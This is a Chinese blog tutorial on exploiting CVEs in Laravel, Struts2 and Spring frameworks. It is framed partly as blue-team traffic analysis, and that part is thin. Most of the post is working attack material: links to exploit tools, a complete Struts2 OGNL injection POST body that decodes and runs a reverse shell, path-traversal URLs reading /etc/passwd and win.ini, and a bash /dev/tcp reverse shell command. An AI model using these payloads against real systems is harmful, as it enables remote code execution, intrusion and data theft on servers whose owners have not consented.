当前位置: 首页 > article >正文

框架的CVE漏洞利用 php类 java类 手工操作和自动化操作蓝队分析漏洞利用的流量特征

前言

php重要框架和基本的识别特征

php的主要是 tp框架 和 laravel 当然还有 yii等

tp的主要特征

1\报错信息:

2、图标

3、请求头

Laravel特征

1、报错信息

2、请求头

php框架CVE利用

lavarvel

工具

https://github.com/zhzyker/CVE-2021-3129

https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

版本

Laravel <= 8.4.2

利用 :  第二个工具

我们分析一下工具是个怎么的利用过程  怎么把这个webshell进行写入的

调试工具 :2种方法 1、反编译  (因为这个不是exe而是python文件所以直接打开看就行)

2、工具设置代理规则进行调试

使用代理规则的配置分析(这个就是蓝队的分析)

就是现在抓的包就类似于我们蓝队分析他的攻击 如果我们看不出来他是在干啥  那就只能卷铺盖走了

这边使用   proxy代理工具+burp  进行查看

配置上规则

之后运行一下  脚本

然后进入burp进行查看数据包

java的基本框架

框架和特征

1、Struct2

有个误解就是  shiro是框架   这个是不对的 shiro是框架下的组件

1、图标

图标类似于一个 S 

2、

后缀有 .action 这个的辨别度不大 因为大多数会隐藏

3、因为这个框架的传输数据的特殊性   有的会有明显的 

Content-Type: multipart/form-data

struct2框架利用

版本

Apache Struts 2.0.0 - 2.5.25

工具

https://github.com/YanMu2020/s2-062

先   

python s2-062.py --url http://192.168.248.132:38368/.action

显示有漏洞  --cmd进行利用

回显了 

蓝队视角下的 strut CVE 漏洞利用的流量包的分析

结合代理就是上边的  然后直接看burp

攻击的流量包 的特征         1、特殊的字符 如   (#)   request   map    +  这类字符

2、数据包的post请求中大规模的字符串出现
看一下工具

再看一下payload

复现2  :

Struts2 代码执行 (CVE-2021-31805)

框架版本 Apache Struts 2.0.0 - 2.5.29

为了应付之后没有工具的测试  所以我们还是要练习一下  根据网上的EXP去自己手工操作

复现流程:

Post: /s2_062/index.action
name=(%23request.map%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map.setBean(%23request.get('struts.valueStack'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map2%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map2.setBean(%23request.get('map').get('context'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map3%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map3.setBean(%23request.get('map2').get('memberAccess'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedPackageNames',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedClasses',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%30%4e%79%34%35%4e%43%34%79%4d%7a%59%75%4d%54%45%33%4c%7a%55%30%4e%54%51%67%4d%44%34%6d%4d%51%3d%3d}|{base64,-d}|{bash,-i}'}))
%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%30%4e%79%34%35%4e%43%34%79%4d%7a%59%75%4d%54%45%33%4c%7a%55%30%4e%54%51%67%4d%44%34%6d%4d%51%3d%3d

上边这个是加密的payload

%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4f%54%49%75%4d%54%59%34%4c%6a%49%78%4c%6a%45%33%4c%7a%55%31%4e%6a%59%67%4d%44%34%6d%4d%51%3d%3d
name=(%23request.map%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map.setBean(%23request.get('struts.valueStack'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map2%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map2.setBean(%23request.get('map').get('context'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map3%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map3.setBean(%23request.get('map2').get('memberAccess'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedPackageNames',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedClasses',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4f%54%49%75%4d%54%59%34%4c%6a%49%78%4c%6a%45%33%4c%7a%55%31%4e%6a%59%67%4d%44%34%6d%4d%51%3d%3d}|{base64,-d}|{bash,-i}'}))

发送成功了

Springboot

特征

1、图标还有就是880端口

2、报错:

1、任意文件读取漏洞

CVE-2021-21234

利用条件还是比较苛刻的  1、spring   2、引用了  actuator-logview 

Spring-boot-actuator-logview 0.2.13之前版本存在路径遍历漏洞,攻击者可通过该缺陷读取系统任意文件

就知道是springboot

payload

http://47.98.193.176:8908/manage/log/view?filename=etc/passwd&base=../../../../../../
//linux利用

// win利用
http://127.0.0.1:8887/manage/log/view?filename=/windows/win.ini&base=../../../../../../../

我这个是docker搭建的所以这个账号密码可以有些不准确

2、Spring Cloud Function Spel 表达式注入    CVE-2022-22963

版本:   黑盒情况下我们是很难识别是不是调用了  Spring Cloud Function(云计算功能)(其实最简单的识别就是你使用这个CVE注入一下)

3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

这个是漏洞环境

工具直接shou哈

3、Spring Framework远程代码执行漏洞   CVE-2022-22965
Spring Framework < 5.3.18

Spring Framework < 5.2.20

这种就是直接工具搜哈就行

https://github.com/BobTheShoplifter/Spring4Shell-PoC
但是实战当然是不可能执行 whoami 
生成一个反弹shell
工具名是 Hack-Tools
注意细节就是生成的shell目标系统能不能执行  比如bash 目标的是win就无法进行接收
bash -c 'exec bash -i &>/dev/tcp/192.168.21.17/5566 <&1'
 

4Spring boot命令执行 (CVE-2022-22947)

前提是调用了 Spring Cloud Gateway(这个是java微服务的前后端之间的代理 这个Gateway的翻译就是网关的意思 他的作用就是让通讯简洁  鉴权 等)

版本:

Spring Cloud Gateway 3.1.x < 3.1.1

Spring Cloud Gateway 3.0.x < 3.0.7

识别:看响应标头

利用:还是工具梭哈:

https://github.com/13exp/SpringBoot-Scan-GUI

Spring漏洞利用下蓝队的视角

Spring Cloud Gateway :


http://www.kler.cn/a/600852.html

相关文章:

  • 力扣题(3):寻找两个正序数组的中位数
  • 纯HTML+CSS实现3D空间正方体旋转
  • Opencv计算机视觉编程攻略-第三节 图像颜色处理
  • 23种设计模式-中介者(Mediator)设计模式
  • 网关助力冶金厂电表数据高效采集与监控
  • 【Redis】redis实现消息的发布和订阅
  • 使用python爬取网络资源
  • sendRedirect()和forward()方法有什么区别?
  • 嵌入式系统应用-拓展-STM32 低功耗设计
  • unittest自动化测试实战
  • 【ESP32S3】esp32获取串口数据并通过http上传到前端
  • Docker 搭建 PlantUML 服务:高效生成 UML 图的最佳实践
  • 36.评论日记
  • QT原子变量:QAtomicInteger、QAtomicPointer、QAtomicFlag
  • Win11 环境使用WSL安装Ubunut系统
  • winstart.wsf 病毒清理大作战
  • “需求引致供给“在互联网时代的范式重构:基于开源AI智能名片链动2+1模式S2B2C商城小程序源码的技术经济学分析
  • 计算机网络 --应用层
  • 【设计模式】深入解析装饰器模式(Decorator Pattern)
  • 什么是Dify,以及我们能用它来做什么